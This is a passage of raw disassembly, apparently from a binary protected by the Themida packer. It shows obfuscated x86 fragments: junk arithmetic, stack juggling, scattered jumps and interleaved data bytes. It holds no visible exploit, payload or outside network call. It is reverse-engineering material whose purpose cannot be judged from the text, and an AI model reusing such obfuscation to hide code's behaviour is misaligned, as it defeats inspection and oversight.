loc_56C845:				; CODE XREF: Themida_:00562F32j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55BCD8
; ---------------------------------------------------------------------------
		db 68h,	66h, 7
		dd 4890000h, 2474FF24h,	0FBCEE904h, 0EC83FFFEh,	24048904h
		dd 0ECC00CB4h, 0FEDCF606h, 2FC480CCh, 0E9E2EB80h, 0FFFFC817h
		dd 16F2C981h, 0E9810D97h, 86B3D5DDh, 159CE01h, 995BE9F1h
		dd 0D129FFFFh, 9C2815Ah, 16B315Bh, 4EE955CAh
		db 0Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C8AB:				; CODE XREF: Themida_:0055F94Aj
		push	esi
		jmp	loc_566F1E
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C6h
		dd 4, 8904EC83h, 4B9240Ch, 52000000h, 6D1B3BBAh, 47FE92Fh
		dd 0E95BFFFFh, 0FFFFB977h
; ---------------------------------------------------------------------------


loc_56C8D4:				; CODE XREF: Themida_:0056B959j
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_5625D7
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0EEh
		dd 4, 52E68956h, 872C56BAh, 8EAC106h, 6354E281h, 0EA8108FAh
		dd 20300h, 3674E9h, 34FF5900h, 24148B24h, 0FF4B75E9h, 2C895CFFh
		dd 62DABD24h, 0ED815723h, 572362DAh, 0FFB6E6E9h, 241C8BFFh
		dd 4C481h, 0C4830000h, 37256804h, 34890000h, 81E68924h
		dd 4ECh, 24148900h, 0E43BED68h,	82E95A31h, 88FFFF6Ah, 0E95866C7h
		dd 0FFFF1D19h
; ---------------------------------------------------------------------------


loc_56C958:				; CODE XREF: Themida_:0056354Fj
		add	edi, 0C6021357h
		add	edx, edi
		pop	edi
		push	edx
		jmp	loc_5635CD
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C48300h, 0FF88BFE9h, 74FF56FFh, 348B0424h, 4C48324h
		dd 0FF2056E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C985:				; CODE XREF: Themida_:0056FD2Dj
		add	esp, 4
		add	ebp, 4
		jmp	loc_56B6A7
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0B94EC7E4h, 835AD189h, 0E66801E9h, 89000063h, 0A3E9240Ch
		dd 5700000Ah, 0C781E789h, 4, 4C781h, 7DE90000h,	66FFFF30h
		dd 9CCB805Bh, 829EB80h,	241C8BD9h, 4C481h, 51660000h, 0E9241CF6h
		dd 0FFFFECC0h
; ---------------------------------------------------------------------------


loc_56C9E0:				; CODE XREF: Themida_:0056099Bj
		add	esp, 4
		push	33B1h
		mov	[esp], eax
		mov	eax, esp
		push	edx
		mov	edx, 5D8E05F2h
		jmp	loc_564E50
; ---------------------------------------------------------------------------
		db 30h
		dd 0C0B60FC3h, 688734FFh, 1C1Bh, 57240C89h, 41173468h
		dd 0F9895F07h, 2C44E9h,	24048900h, 1263E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56CA22:				; CODE XREF: Themida_:0056C180j
		pop	esp
		push	esp
		jmp	loc_560548
; ---------------------------------------------------------------------------
		db 28h,	14h, 24h
		dd 0E924148Ah, 0FFFF86B7h, 83240C8Bh, 0E95604C4h, 29DCh
; ---------------------------------------------------------------------------


loc_56CA40:				; CODE XREF: Themida_:0055C58Cj
		push	331B3ECAh
		pop	edi
		sub	edi, 0CBD1120h
		sub	edi, 0DCF112F0h
		mov	ecx, edi
		pop	edi
		inc	ecx
		shr	ecx, 6
		dec	ecx
		or	ecx, 72845581h
		shr	ecx, 8
		add	ecx, 1C5E764Fh
		add	edx, ecx
		pop	ecx
		jmp	loc_55BBDB
; ---------------------------------------------------------------------------
		db 0B1h, 18h, 0
		dd 2C5966C8h, 148B66FBh, 2C48324h, 801BB252h, 0D2F6DBE2h
		dd 0E96CF280h, 0FFFEF6BAh, 3BD6858h, 2C890000h,	2C8B5F24h
		dd 4C48324h, 34FFF829h,	0C4835F24h, 0F520E904h,	0D1F7FFFEh
		dd 74EBE981h, 0BE56055Bh, 77A77FE2h, 0E681D6F7h, 489D769Bh
		dd 7AC0F681h, 0C681692Eh, 0E7DE0A07h, 0E95EF101h, 82Bh
; ---------------------------------------------------------------------------


loc_56CAD8:				; CODE XREF: Themida_:0056E567j
		push	382D72DDh
		pop	edi
		push	ebx
		mov	ebx, 6A430800h
		add	ebx, 0D915D3Bh
		jmp	loc_55C17E
; ---------------------------------------------------------------------------
		db 54h
		dd 0FF87BEE9h, 24148BFFh, 4C481h, 0C3300000h, 0FFC0B60Fh
		dd 34FF8734h, 0EF5DE924h, 0E959FFFFh, 0FFFF968Ah
; ---------------------------------------------------------------------------


loc_56CB14:				; CODE XREF: Themida_:00560C40j
		or	ebx, esi
		jmp	loc_55F0C2
; ---------------------------------------------------------------------------
		db 55h
		dd 9F0DCC68h, 0ED815D78h, 46F9EAD9h, 0FF74AAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CB2D:				; CODE XREF: Themida_:00562287j
		mov	esp, [esp]
		jmp	loc_55C6FA
; ---------------------------------------------------------------------------


loc_56CB35:				; CODE XREF: Themida_:0056E96Dj
		pop	eax
		push	edx
		mov	dl, 74h
		jmp	loc_5655A7
; ---------------------------------------------------------------------------
		dw 1FBEh
		dd 81371834h, 463D08F6h, 81EED11Bh, 2F048FF6h, 5EF10116h
		dd 0FF25E5E9h, 0DDF745FFh, 0F705EDC1h, 35F581D5h, 57F40956h
		dd 4D125BBFh, 5FFB2974h, 0C381EB01h, 744D125Bh,	0FFF584E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CB7D:				; CODE XREF: Themida_:0056A849j
		sub	esp, 4
		mov	[esp], edx
		push	14EF4829h
		pop	edx
		neg	edx
		inc	edx
		sub	edx, 0AC35B40Ch
		sub	esi, edx
		mov	edx, [esp]
		jmp	loc_55EF6C
; ---------------------------------------------------------------------------
		db 1
		dd 0C7835AD7h, 6C736804h, 3C890000h, 0C8B8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CBB2:				; CODE XREF: Themida_:0055C8ADj
		xor	dh, 9Dh
		jmp	loc_561107
; ---------------------------------------------------------------------------
		dw 0CE87h
		dd 6C50EE81h, 0EE81663Dh, 96FB4040h, 348BF301h,	52A2E924h
		dd 0C331FFFFh, 518468h,	24348900h, 2A1E68h, 24048900h
		dd 4EC815Eh, 0E9000000h, 0FFFF44DCh
; ---------------------------------------------------------------------------


loc_56CBF0:				; CODE XREF: Themida_:0056525Aj
		push	1E78h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56BB93
; ---------------------------------------------------------------------------
		db 2Ch,	0D6h, 28h
		dd 5BD604D8h, 0FF900AE9h, 4C483FFh, 0CA80DA86h,	4E2C02Ah
		dd 0FFD02CE9h, 4C681FFh, 55000000h, 0FF3CBAE9h,	5B822DFFh
		dd 7DE93FB0h, 0BFFFFF83h, 5D69140Bh, 6E16CF81h,	0F7816257h
		dd 154C49D4h, 8C5CE94Fh, 0C829FFFFh, 2CB7E9h, 4ADE6800h
		dd 0C890000h, 0E9E18924h, 0FFFEF908h, 0E9242C8Bh, 0FFFF840Ah
; ---------------------------------------------------------------------------


loc_56CC6C:				; CODE XREF: Themida_:0056222Fj
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0Fh
		dd 6845FE33h, 6B3Eh, 2783E9h, 0E9F50100h, 0FFFFCD93h, 8244481h
		dd 34355A24h, 0FFDFBFE9h, 0E9F62CFFh, 0FFFFE1D0h, 0BA52D9F7h
		dd 0FE3C913Ch, 0FFFBF1E9h, 5DEA29FFh, 5C241487h, 0BE243489h
		dd 1, 685EF289h, 179Eh,	0BB241C89h, 24h, 0A168FB01h, 8900000Fh
		dd 8950240Ch, 405E0h, 0E8830000h, 24048704h, 0FFFC2CE9h
		dd 0AAEB80FFh, 0D8284D2Ch, 0FF9EB0E9h, 241489FFh, 0C281E289h
		dd 4, 4C281h, 14870000h, 24248B24h, 42316852h, 0CEE90000h
		dd 80FFFF78h, 8AE9D9EDh
		db 20h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CD1B:				; CODE XREF: Themida_:00562A8Bj
		pop	esi
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55B779
; ---------------------------------------------------------------------------


loc_56CD2B:				; CODE XREF: Themida_:0055DE04j
		pop	esp
		mov	[esp], ecx
		push	234Fh
		mov	[esp], edx
		mov	edx, 80000h
		jmp	loc_56F942
; ---------------------------------------------------------------------------


loc_56CD41:				; CODE XREF: Themida_:00560E2Dj
		pop	esp
		pop	ecx
		jmp	loc_56F5F8
; ---------------------------------------------------------------------------


loc_56CD48:				; CODE XREF: Themida_:0055D16Dj
		push	ebp
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		pop	edx
		add	[edi+24h], esi
		jmp	loc_5611E5
; ---------------------------------------------------------------------------


loc_56CD59:				; CODE XREF: Themida_:00570632j
		not	al
		jmp	loc_562F5B
; ---------------------------------------------------------------------------
		dd 6CAB2D66h, 243C8B66h, 0ECC1E951h, 8957FFFFh,	4C781E7h
		dd 83000000h, 3C3302C7h, 243C3124h, 5C243C33h, 6602EC83h
		dd 66243489h, 66179368h, 66242C89h, 2C8B665Eh, 2C48324h
		dd 24343166h, 0FF420BE9h, 50EE01FFh, 195F92B8h,	1116052Ah
		dd 0C629E9F8h, 67C2E958h, 0C89FFFFh, 0CFE95724h, 66FFFF22h
		dd 6647C105h, 0E9761705h, 0FFFFB4C2h
; ---------------------------------------------------------------------------


loc_56CDD0:				; CODE XREF: Themida_:00567549j
		mov	bl, cl
		pop	ecx
		pop	eax
		pop	edx
		pop	eax
		mov	[edi+eax*4], bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		dd 241C8B54h, 4C481h, 51680000h, 89000007h, 0EC81242Ch
		dd 4, 0BB241C89h, 77845D13h, 2978F381h,	0E3814A16h, 28FC2D95h
		dd 0D9BC381h, 0EB8129D1h, 265D0EE3h, 22114FBDh,	5BDD0124h
		dd 5727ED81h, 0C5813DA3h, 0ED7D2323h, 515DEB01h, 6DD4BD55h
		dd 0CBE925AAh, 54FFFFBDh, 4EC8158h, 89000000h, 5552240Ch
		dd 0DB5295BDh, 81DDF768h, 6083A2F5h, 5DEA899Eh,	3080E9h
		db 0
; ---------------------------------------------------------------------------


loc_56CE61:				; CODE XREF: Themida_:0056EACEj
		sub	eax, edx
		pop	edx
		jmp	loc_55E1AC
; ---------------------------------------------------------------------------


loc_56CE69:				; CODE XREF: Themida_:005629D6j
		pop	ebp
		shr	eax, 6
		jmp	loc_56FFC4
; ---------------------------------------------------------------------------


loc_56CE72:				; CODE XREF: Themida_:0055EDBBj
		xor	edx, ebx
		xor	edx, 9221B9CFh
		jmp	loc_561A8B
; ---------------------------------------------------------------------------
		db 81h
		dd 0F7A9F5C7h, 5FFE31BDh, 0E95EF529h, 0FFFFD02Fh, 3268E789h
		dd 8900002Eh, 468240Ch,	8B000000h, 0C483240Ch, 59CF0104h
		dd 4C781h, 3C870000h, 24248B24h, 0FF2274E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CEB9:				; CODE XREF: Themida_:0056D868j
		add	ch, 8
		add	bh, ch
		pop	ecx
		shl	bh, 5
		push	edx
		jmp	loc_568BA5
; ---------------------------------------------------------------------------
		dd 35E95153h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CECF:				; CODE XREF: Themida_:0055BBEAj
		pop	dword ptr [esp]
		pop	esp
		push	edx
		mov	edx, 4B7C7F6Fh
		or	edx, 36F56D5Bh
		not	edx
		xchg	ecx, edx
		push	ecx
		jmp	loc_5670C0
; ---------------------------------------------------------------------------


loc_56CEE9:				; CODE XREF: Themida_:0056C836j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56F71C
; ---------------------------------------------------------------------------
aB3cs_QR	db 'û²3æS_[Áï',8,'Rº',0
		align 4
		dd 0FA290000h, 0FEF9E3E9h, 0E1E95DFFh, 87FFFF69h, 92E92434h
		dd 81FFFF93h, 4C4h, 0F5EB8100h,	292D077Bh, 0F5C381FBh
		dd 0E92D077Bh, 0FFFF0215h, 242C8966h, 7027BD66h, 66EE2966h
		dd 0EE81665Dh, 1663F92h, 0E95766CEh, 0FFFF8056h
; ---------------------------------------------------------------------------


loc_56CF50:				; CODE XREF: Themida_:0056EE9Aj
		push	ecx
		jmp	loc_5613D5
; ---------------------------------------------------------------------------
		dw 8B4h
		dd 0E958E608h, 0FFFF5181h, 4EC81h, 12E90000h, 8BFFFF28h
		dd 0C481242Ch, 4, 0FF4FF0E9h, 0AE951FFh, 68FFFF48h, 3CA6h
		dd 89241C89h, 0AB98E9E3h, 8155FFFFh, 2D6D2434h,	48B2BD1h
		dd 4C48124h, 35000000h,	2BD12D6Dh, 12B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_56CFA9:				; CODE XREF: Themida_:0055D7FEj
		sub	ecx, 5ACA1A14h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_560B9F
; ---------------------------------------------------------------------------
		dd 5F10E581h, 814D243Ch, 1C09FDEDh, 0F8EB8100h,	1369371h
		dd 0F8C381EBh, 5D369371h, 0FF29CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CFE5:				; CODE XREF: Themida_:00564CD3j
		sub	edi, 43F4244Fh
		push	ecx
		push	ebp
		mov	ebp, 0
		jmp	loc_56B2D4
; ---------------------------------------------------------------------------


loc_56CFF7:				; CODE XREF: Themida_:0056B503j
		add	esp, 4
		add	eax, 239902DCh
		or	eax, eax
		jnz	loc_56066E
		push	ecx
		jmp	loc_562989
; ---------------------------------------------------------------------------
		db 0BDh, 7Dh, 60h
		dd 0ED811A6Eh, 0C116147Ch, 1C51C381h, 0C1E9689Eh, 0BDFFFF77h
		dd 9A9770Eh, 2C8BEB21h,	4C48124h, 43000000h, 0FFC341E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D039:				; CODE XREF: Themida_:0056B25Aj
		xor	ecx, [esp]
		jmp	loc_566482
; ---------------------------------------------------------------------------


loc_56D041:				; CODE XREF: Themida_:00566F5Dj
		pop	ebx
		jmp	loc_5663FA
; ---------------------------------------------------------------------------
		db 89h
		dd 0BB53242Ch, 563F001Ch, 48CCCB81h, 2CE93F10h,	68FFFFA3h
		dd 4396h, 0B8240489h, 4, 8358C301h, 0A5E904C3h,	81FFFEF0h
		dd 0CE1A5CC3h, 68E9581Ah, 0BFFFFFB7h, 3E331DC7h, 0FF76FFE9h
		dd 81E946FFh
		db 0E5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56D08F:				; CODE XREF: Themida_:0055F76Ej
		add	ebp, esi
		jmp	loc_56A01D
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 0EB80D0B3h, 0FCE95036h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D0A7:				; CODE XREF: Themida_:0056C65Aj
		xor	dh, 55h
		jmp	loc_55BAB8
; ---------------------------------------------------------------------------


loc_56D0AF:				; CODE XREF: Themida_:00563E15j
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_569E65
		push	ecx
		mov	ecx, 119B3EB6h
		push	esi
		mov	esi, 4D847236h
		not	esi
		jmp	loc_57071F
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 0E47BE940h, 8850FFFEh, 65E953D0h, 58FFFFCDh,	4A03EAC1h
		dd 6EB9E281h, 0E2814237h, 7C47583Ah, 0C9FBD55h,	0F58135E0h
		dd 2D7842EAh, 23A6EA81h, 0EA290C98h, 23A6C281h,	815D0C98h
		dd 7BF972F2h, 3ACA81BCh, 8100C714h, 624635F2h, 0E2814A1Dh
		dd 582942EDh, 0FF8AB8E9h, 55D687FFh, 1BDh, 5DEE0100h, 8102EEC1h
		dd 0A016E2CEh, 8E9464Eh, 81FFFFC7h, 0EE0CC9E9h,	0F3C18169h
		dd 5E0DDD4Bh, 8B240C87h, 0D3662424h, 0E99C243Ch, 0FFFEE3F1h
		dd 23CBB53h, 0D8312DF6h, 8BC3295Bh, 0C4812404h,	4, 0FF047FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D17D:				; CODE XREF: Themida_:0055CB4Cj
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	2637h
		mov	[esp], ebx
		push	1
		push	dword ptr [esp]
		jmp	loc_56A91F
; ---------------------------------------------------------------------------
		db 87h
		dd 7BE9243Ch, 0BAFFFF64h, 262A5FBEh, 0F77EA81h,	0C2817190h
		dd 9BB8FB9Ah, 65A2C05h,	51D02925h, 65A2CB9h, 0FA7CE925h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D1D2:				; CODE XREF: Themida_:0056A245j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		push	3D0Ch
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_55D87A
; ---------------------------------------------------------------------------
		dd 996046B9h, 87D1F728h, 51D3F7D9h, 0D15B5953h,	33C981E1h
		dd 5052252Fh, 4C3E8EB8h, 0A434E958h, 0C381FFFFh, 4, 8B241C87h
		dd 46052424h, 53441673h, 571854BBh, 0AD2AE948h,	0CB01FFFFh
		dd 0E9C32959h, 0FFFFDAD7h
; ---------------------------------------------------------------------------


loc_56D238:				; CODE XREF: Themida_:00562854j
		sub	ebp, 2
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_56D84B
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 9CE90000h, 4EFFFF40h, 6855D6F7h, 8A6ACDC2h
		dd 81242C8Bh, 4C4h, 5DEE3100h, 835EF201h, 148702C2h, 24248B24h
		dd 24042966h, 0E2CFE99Ch, 0A05FFFEh, 13B2521h, 24048BC3h
		dd 8104C483h, 1829ECEBh, 40C3812Eh, 2949A407h, 40EB81C3h
		dd 5249A407h, 0FF2022E9h, 4EC81FFh, 54000000h, 8324048Fh
		dd 0E9042404h, 0FFFFC773h, 844F1368h, 6AD6E968h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D2CA:				; CODE XREF: Themida_:00560DF7j
		mov	ebp, 0C8D5405h
		push	eax
		mov	eax, 43A90EF8h
		xor	ebp, eax
		pop	eax
		shl	ebp, 5
		sub	ebp, 0A8112D54h
		xor	edx, ebp
		pop	ebp
		xchg	ebx, edx
		neg	ebx
		xchg	ebx, edx
		xor	edx, 99578495h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 4
		jmp	loc_565BFD
; ---------------------------------------------------------------------------
		db 9
		dd 559C8h, 2D6CB219h, 687195B9h, 1998E9h, 24348900h, 4EC81h
		dd 8F540000h, 0BF572404h, 55021515h, 15DE956h, 0EE010000h
		dd 0FFCC8EE9h, 5DF581FFh, 83003D76h, 0BE56FFC5h, 62D68D7h
		dd 0F681D6F7h, 9BDCC175h, 0F75EF529h, 0B5F581DDh, 1F3B655h
		dd 3C875DEFh, 0CFE95C24h, 59FFFF3Ah, 5B04FE04h,	91E9D828h
		dd 89FFFFC3h, 0A3EBE9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D376:				; CODE XREF: Themida_:00567691j
		or	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	edx
		add	dword ptr [esp], 0FFFFFFFFh
		pop	edx
		push	edi
		mov	edi, 31C430BDh
		not	edi
		add	edi, 41563585h
		add	edx, edi
		pop	edi
		neg	edx
		neg	edx
		sub	edx, 7F84643Dh
		add	edi, edx
		jmp	loc_56E1D8
; ---------------------------------------------------------------------------


loc_56D3AC:				; CODE XREF: Themida_:0056A669j
		pop	ebx
		push	ecx
		push	edx
		push	ecx
		mov	ch, 92h
		not	ch
		add	ch, 0FFh
		neg	ch
		sub	ch, 58h
		neg	ch
		jmp	loc_56F978
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E95205E9h, 0FFFFA4E2h, 0ED80D528h, 55E7E9D4h, 3C87FFFFh
		dd 245FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D3DE:				; CODE XREF: Themida_:0056EAB0j
		neg	ebx
		xor	ebx, 1DCA3C6Ch
		or	ebx, 70BC7AE5h
		jmp	loc_55BD76
; ---------------------------------------------------------------------------


loc_56D3F1:				; CODE XREF: Themida_:0055FD6Ej
		add	esp, 4
		not	ecx
		sub	ecx, 0CEF60105h
		jmp	loc_56D767
; ---------------------------------------------------------------------------
		dd 0E9CA015Bh, 2CE6h, 4C3815Bh,	83000000h, 38E904EBh
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D41B:				; CODE XREF: Themida_:00561ED3j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5678D9
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5D042474h, 0FF0C9BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D431:				; CODE XREF: Themida_:00561347j
		add	ebp, ebx
		jmp	loc_56789C
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 6EBB5300h, 81389658h, 21493FCBh, 9917E934h
		dd 0CFFFFFFh, 0BF575924h, 5BEF38FAh, 7E4CF781h,	0E7C1580Dh
		dd 4FDFF708h, 0A3C2EF81h, 0F9016F8Dh, 6D512D5Fh, 5E2D6BFFh
		dd 0E97D2F1Ch, 0FFFFD62Bh, 0B1240C89h, 95E9515Fh, 0BEFFFF72h
		dd 47E31C24h, 0F5E9F729h, 66FFFF03h, 0E9240C8Bh, 0D6Dh
		dd 5359CB01h, 42474FFh,	24048F5Bh, 0E924248Bh, 0FFFEE0A1h
		dd 42474FFh, 24048F5Eh,	243C895Ch, 0FF7183E9h, 0F6BFB1FFh
		dd 0E9C9FED9h, 0FFFEF760h, 0F0664705h, 405E2D66h, 0A42D2E5Fh
		dd 5D5BF951h, 0CB68F829h, 89000019h, 83E92414h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D4EF:				; CODE XREF: Themida_:0055F0C5j
		add	esp, 4
		or	ebx, 1BAE29D2h
		sub	ebx, 0F85A4E5Ch
		add	eax, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edi
		push	esp
		mov	edi, [esp]
		jmp	loc_56A180
; ---------------------------------------------------------------------------
		db 5Ch,	56h, 0E9h
		dd 0FFFEF1C7h, 0E9242C8Bh, 0FFFF0671h, 4C78358h, 26A0E9h
		dd 4C48300h, 0B868D901h, 89000046h, 7BE9241Ch
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D54B:				; CODE XREF: Themida_:0055C182j
		mov	edi, 0B4AB565Dh
		push	edi
		mov	edi, 705470Ch
		jmp	loc_5657A2
; ---------------------------------------------------------------------------
		db 29h
		dd 0DFEF81D7h, 8B31A337h, 0B3E92414h, 81FFFF46h, 9D42EACAh
		dd 1EB3E978h, 1050000h,	0E9B53420h, 0FFFF3113h
; ---------------------------------------------------------------------------


loc_56D580:				; CODE XREF: Themida_:0055C25Fj
		pop	esp
		sub	ebp, 1A3B0097h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_568B2E
; ---------------------------------------------------------------------------


loc_56D595:				; CODE XREF: Themida_:0055F5DCj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_560B48
; ---------------------------------------------------------------------------


loc_56D5AE:				; CODE XREF: Themida_:0056ED92j
		push	ebx
		mov	ebx, 456024BDh
		shl	ebx, 2
		or	ebx, 76145F54h
		xor	ebx, 3085950h
		jmp	loc_56ED39
; ---------------------------------------------------------------------------
		dd 5C243487h, 0FF1F3EE9h, 0E0EB81FFh, 0E9607943h, 0FFFF554Dh
		dd 9A68C80Fh, 89000001h, 4F682414h, 89000022h, 4812424h
		dd 424h, 24148B00h, 0E904C483h,	0FFFF9665h, 1AE95366h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D607:				; CODE XREF: Themida_:0055F044j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_564B2B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 59E9241Ch, 29FFFFDFh, 0EE8158C2h, 2B163D95h,	0FFC2EEE9h
		dd 5AD621FFh, 5153DEF7h, 0C6611F68h, 7D93E909h,	8B54FFFFh
		dd 0C481243Ch, 4, 2301E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D64E:				; CODE XREF: Themida_:0056AA7Fj
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55E38A
; ---------------------------------------------------------------------------


loc_56D65B:				; CODE XREF: Themida_:005699EDj
		pop	ebp
		shl	ebx, 3
		xor	ebx, 1BDB7EEBh
		add	ebx, 50032942h
		dec	ebx
		xor	ebx, 3B5B0888h
		add	ebx, 499E0608h
		mov	ebp, ebx
		pop	ebx
		add	edx, ebp
		pop	ebp
		sub	ebx, 68F81744h
		sub	ebx, edx
		add	ebx, 68F81744h
		pop	edx
		jmp	loc_561528
; ---------------------------------------------------------------------------
		dw 2C29h
		dd 0C5835D24h, 86B0E9FFh, 0E981FFFFh, 0A76D27A7h, 0F759CF89h
		dd 0A5F781DFh, 817B763Ch, 0F412B3CFh, 50EF8149h, 815F0011h
		dd 3AF8E1C7h, 0DFE1E98Dh, 0C481FFFEh, 4, 815A5452h, 4C2h
		dd 4EA8100h, 87000000h,	0E95C2414h, 0FFFFDD05h,	8BF82158h
		dd 0E952243Ch, 0FFFEFBEDh, 6A3968h, 24248900h, 4240483h
		dd 40558h, 62E90000h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D707:				; CODE XREF: Themida_:0056471Bj
		mov	ebp, 0E5D9764Ah
		sub	ebp, 5DDB2A0Dh
		add	ebp, edi
		add	ebp, 5DDB2A0Dh
		pop	edi
		jmp	loc_560483
; ---------------------------------------------------------------------------


loc_56D720:				; CODE XREF: Themida_:00566AB7j
		sub	eax, 53372E7Eh
		shl	eax, 3
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 575A5404h
		xor	eax, edi
		pop	edi
		add	esi, eax
		pop	eax
		jmp	loc_55EE94
; ---------------------------------------------------------------------------
aSg		db '!Ñég"',0
		dd 32BB5300h, 0F77BDD6Bh, 81DBF7D3h, 9576CBC3h,	0E6B2E96Fh
		dd 0E189FFFEh, 4C181h, 0A1E90000h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D767:				; CODE XREF: Themida_:0056D3FFj
		add	edx, ecx
		jmp	loc_569E64
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 55000000h,	0AC3A9DBDh, 8BE94561h, 2D00001Eh
		dd 32C12F13h, 1305D829h, 2D32C12Fh, 7165341Bh, 0E9241C8Bh
		dd 0FFFF7FC7h, 89CE8956h, 59E9E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D7A6:				; CODE XREF: Themida_:005681D1j
		mov	cl, 2Ch
		add	bl, cl
		jmp	loc_569F75
; ---------------------------------------------------------------------------
aPCV9s		db 'P¸c%V9é',0
		db 62h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D7BA:				; CODE XREF: Themida_:0055EBCDj
		pop	edx
		jmp	loc_56FF68
; ---------------------------------------------------------------------------


loc_56D7C0:				; CODE XREF: Themida_:00566D01j
		sub	ecx, 0EA51BB9h
		pop	edi
		neg	ecx
		sub	ecx, 0E6A471D6h
		mov	eax, ecx
		jmp	loc_56C643
; ---------------------------------------------------------------------------


loc_56D7D6:				; CODE XREF: Themida_:005638EFj
		mov	[esp], ebp
		mov	ebp, 3DE56954h
		mov	ebx, 26FFA4D2h
		add	ebx, ebp
		pop	ebp
		push	ecx
		jmp	loc_56525F
; ---------------------------------------------------------------------------
		dd 14AE6BAh, 8DC28123h,	81729A23h, 4A245C2h, 5AD5896Dh
		dd 8102EDC1h, 471E86CDh, 34AE92Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D80E:				; CODE XREF: Themida_:005659C4j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_55EF59
; ---------------------------------------------------------------------------


loc_56D81F:				; CODE XREF: Themida_:0055E03Bj
		pop	edi
		jmp	loc_560757
; ---------------------------------------------------------------------------
		align 2
		dw 66C8h
		dd 241C8B59h, 7FE95457h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D833:				; CODE XREF: Themida_:0056639Bj
		add	ebp, esi
		jmp	loc_56C14A
; ---------------------------------------------------------------------------


loc_56D83A:				; CODE XREF: Themida_:0056BF83j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55B5EC
; ---------------------------------------------------------------------------


loc_56D84B:				; CODE XREF: Themida_:0056D249j
		pop	esp
		jmp	loc_56C77F
; ---------------------------------------------------------------------------


loc_56D851:				; CODE XREF: Themida_:0056F658j
		and	bh, 0F8h
		xor	bh, 0D9h
		neg	bh
		xor	bh, 7Fh
		xor	bh, 68h
		sub	ch, bh
		pop	ebx
